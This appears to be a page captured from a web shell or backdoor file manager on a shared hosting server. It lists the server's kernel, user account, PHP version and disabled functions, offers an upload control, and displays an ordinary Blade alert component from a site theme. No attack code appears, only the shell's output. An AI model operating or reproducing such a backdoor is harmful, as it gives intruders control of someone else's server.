HEX
Server: Apache
System: Linux webm013.cluster123.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: lesanew (165608)
PHP: 8.3.31
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/lesanew/anestetues2/web/app/themes/anes-tetues/resources/views/components/alert.blade.php
@props([
  'type' => null,
  'message' => null,
])

@php(
  ($class = match ($type) {
    'success' => 'text-green-50 bg-green-400',
    'caution' => 'text-yellow-50 bg-yellow-400',
    'warning' => 'text-red-50 bg-red-400',
    default => 'text-indigo-50 bg-indigo-400',
  })
)

<div {{ $attributes->merge(['class' => "px-2 py-1 {$class}"]) }}>
  {!! $message ?? $slot !!}
</div>